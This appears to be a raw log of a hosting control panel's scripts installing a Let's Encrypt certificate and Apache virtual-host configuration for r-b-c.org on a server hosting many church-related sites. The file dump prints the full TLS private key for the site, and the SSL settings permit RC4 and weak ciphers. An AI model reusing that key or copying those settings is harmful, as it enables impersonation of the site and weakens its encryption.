zs3sRKiM9AuZ8K0GlICgyY+quY6FB6Ne57SizqAix7CgCZO5Y2b4bM/yXNbrqxAr
ehc8CY7HhiDieovHzHRgdzJ3X/p3/XGFUqsVy7GDjjCZWHIiBurGYEuUj+kPRnNl
3O8c/o7h65veuhyb6tBzPOx+FMXdjMFZ55HHJ6A1+QKBgQDbbcLN+4EUnbQvTSqD
ZIsXHvAmkQCdyWDf3je6SxDGiCJibpE6GrVnnnzhZKAT6nEAw0mzet8FEDPVCJ6N
43/Pcvxs4UbBf1LKNcIxHK1hc49vf0N0weUB58tl1PFdW12Cm0qt8P7v7iMiUI1c
dtVHkdkLtEqyYvss2bV2NIZF1wKBgQDN3HkFUHrgR+gUFdh4W051GwJdM1hlwdel
OM01AUUcIvY+vqq7I0kVFJyBntU6Qe+g3SnUryDHTmqHC8adY1P4PVuAxXh1rARK
ZaKPtK6Jxoi9SvYvYjL9ZgDfa+huzgIwpmZudgC5Q+Aq3rYf4j2ScQzfhQfg/uZy
eNWcoQ3sTQKBgQDBf0kJ2384btk13RZgR4lgGigr2jJw8eQ7hfoejZN9fw7TPi1S
z7qoZVo6aEHBTjvYMF4Np4yDKoaKlc870CIlDYELgpyihWS8bCuSo3dBOGaEK/WQ
QGtyArWaVu2BJdCQG+D/AkXNznGtENuXbjMlqbd8WsCEDkTwiAs88ZR2gQKBgQCb
pMvjVrvwgq1XMkUeinpBVBBvgvicxvhSNSYBo1orMcvYGLRhFQaWZ6UE45/3kg6p
I04TPe2cgw9L131tVcIQ9+MM80BmR45e6YUE/ejQxkhwRhLoNGi06cBTK/Tqgdtq
CQV9Er7tVAJSp1wvsxA2fj7raFtSo6Z8ehuXdrVeKQKBgQColxp3mnK4vuCsGP36
fpH4TDRThSX1kmrHEbz5RGBedJAkiH3rn5t//e6iKe7r4pSanuuqbYYL9BjADX5R
MuJbwUZArX9DiTCBDL7KnUyeLcs8yPAgFxehTLw7WWXE7zdlj05gCX66K4JWRKJR
KSjDGJqXS4N/LnlJMrOdAjRA6A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:00:46: 

chmod 755 /tmp/pkp288619; /tmp/pkp288619; rm /tmp/pkp288619

2025-09-06 06:00:46: 


dir=/etc/ssl/certs


2025-09-06 06:00:46: 

PUT: /tmp/pkp292727

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:00:46: 

chmod 755 /tmp/pkp292727; /tmp/pkp292727; rm /tmp/pkp292727

2025-09-06 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:00:46: 

PUT: /tmp/pkp447796

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi


2025-09-06 06:00:46: 

chmod 755 /tmp/pkp447796; /tmp/pkp447796; rm /tmp/pkp447796

2025-09-06 06:00:46: 




2025-09-06 06:00:46: 

PUT: /tmp/pkp674327

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:00:46: 

chmod 755 /tmp/pkp674327; /tmp/pkp674327; rm /tmp/pkp674327

2025-09-06 06:00:47: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47: 

PUT: /tmp/pkp300740

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:00:47: 

chmod 755 /tmp/pkp300740; /tmp/pkp300740; rm /tmp/pkp300740

2025-09-06 06:00:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:47: 

PUT: /tmp/pkp697433

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:47: 

chmod 755 /tmp/pkp697433; /tmp/pkp697433; rm /tmp/pkp697433

2025-09-06 06:00:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf	1323

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:00:47: 

PUT: /tmp/pkp366553

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:47: 

chmod 755 /tmp/pkp366553; /tmp/pkp366553; rm /tmp/pkp366553

2025-09-06 06:00:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt	5357
ab:ef:f5:0d:50:72:72:98:3f:5d:82:a7:75:51:8f:b5

-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBeVWDfDFfgepMdwM12vYrZCZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjEzWhcNMjUxMjA1MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwc98N
yp5Jws6oz657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1j
XtO8+dJi248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ
2SQIG752QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgS
dDPcLFmfusimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Z
x3LK7mUgSuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8L
e13uAvOEG7tXsDWrAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMyLtv3CuK4DziSx7PhUYqL44UlyMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZzdWwAABAMARzBF
AiEAuL0zVBxmeVyv6PCxxxUdYfGQMYSi5k+Er1wf1emo6z4CIFWba770f4uShjtB
vYe23jUneIFXhiBrpFOdHRJ1STpUAHcA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoU
EnYKLKy7yCoAAAGZHZzldwAABAMASDBGAiEAmwKcsGD2JiWWaIb6grlQupxdZkXU
LDMP5X4bWzELhO4CIQC6LwzW3fgLyiljgKZksNpyFcsFpAc8QJM/qwB4ULwCwDAN
BgkqhkiG9w0BAQsFAAOCAQEAllQx8J9+FEnKTnZh/Ug+7RSpvASSheP8g9NZz0vm
abakYUfy5vNrfriwMXizRJe41pvHUwrAkvZx2VISFuVD67ADDWgPJRvB847LERdM
nDDpnX29GT+D5JiMkbs4aE1qAfEwj5L1/LWbNWX0NTbjAuC1Yv+ObGitCxjMZCYU
IwK1ETqmX+4DNZCeqzessIMFsPT8T4hi7izXxmZiY9s38PSlAqzsuh+AlRaxckA9
sFCb25psd02XI+tLNp0FqRkiP2KFO5NReJ4kIOIkHnWFG0aNY1ptBgdbfQjxtpE/
j6siWf5IHoIk/CsLMXZF/NwIppXx6E8g8Eej59yba/6Zcg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCwc98Nyp5Jws6o
z657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1jXtO8+dJi
248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ2SQIG752
QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgSdDPcLFmf
usimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Zx3LK7mUg
SuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8Le13uAvOE
G7tXsDWrAgMBAAECggEAetB7jQ7dM3vK+YZr7EpUKssGhgQKaj0rhEz9M0/xvxNu
AdvpoiTwjx9VZg0niCx3nq5wdmy3NY4wmCw3lvhnHw3KIieDlKuqj+863TsSIpQg
IBVfxbsdSELhBWyv3Dq1yP2zZAQu5xHgdFDXUvkNLMfHEUCz6VqeCfqsco6kPDWP
zs3sRKiM9AuZ8K0GlICgyY+quY6FB6Ne57SizqAix7CgCZO5Y2b4bM/yXNbrqxAr
ehc8CY7HhiDieovHzHRgdzJ3X/p3/XGFUqsVy7GDjjCZWHIiBurGYEuUj+kPRnNl
3O8c/o7h65veuhyb6tBzPOx+FMXdjMFZ55HHJ6A1+QKBgQDbbcLN+4EUnbQvTSqD
ZIsXHvAmkQCdyWDf3je6SxDGiCJibpE6GrVnnnzhZKAT6nEAw0mzet8FEDPVCJ6N
43/Pcvxs4UbBf1LKNcIxHK1hc49vf0N0weUB58tl1PFdW12Cm0qt8P7v7iMiUI1c
dtVHkdkLtEqyYvss2bV2NIZF1wKBgQDN3HkFUHrgR+gUFdh4W051GwJdM1hlwdel
OM01AUUcIvY+vqq7I0kVFJyBntU6Qe+g3SnUryDHTmqHC8adY1P4PVuAxXh1rARK
ZaKPtK6Jxoi9SvYvYjL9ZgDfa+huzgIwpmZudgC5Q+Aq3rYf4j2ScQzfhQfg/uZy
eNWcoQ3sTQKBgQDBf0kJ2384btk13RZgR4lgGigr2jJw8eQ7hfoejZN9fw7TPi1S
z7qoZVo6aEHBTjvYMF4Np4yDKoaKlc870CIlDYELgpyihWS8bCuSo3dBOGaEK/WQ
QGtyArWaVu2BJdCQG+D/AkXNznGtENuXbjMlqbd8WsCEDkTwiAs88ZR2gQKBgQCb
pMvjVrvwgq1XMkUeinpBVBBvgvicxvhSNSYBo1orMcvYGLRhFQaWZ6UE45/3kg6p
I04TPe2cgw9L131tVcIQ9+MM80BmR45e6YUE/ejQxkhwRhLoNGi06cBTK/Tqgdtq
CQV9Er7tVAJSp1wvsxA2fj7raFtSo6Z8ehuXdrVeKQKBgQColxp3mnK4vuCsGP36
fpH4TDRThSX1kmrHEbz5RGBedJAkiH3rn5t//e6iKe7r4pSanuuqbYYL9BjADX5R
MuJbwUZArX9DiTCBDL7KnUyeLcs8yPAgFxehTLw7WWXE7zdlj05gCX66K4JWRKJR
KSjDGJqXS4N/LnlJMrOdAjRA6A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
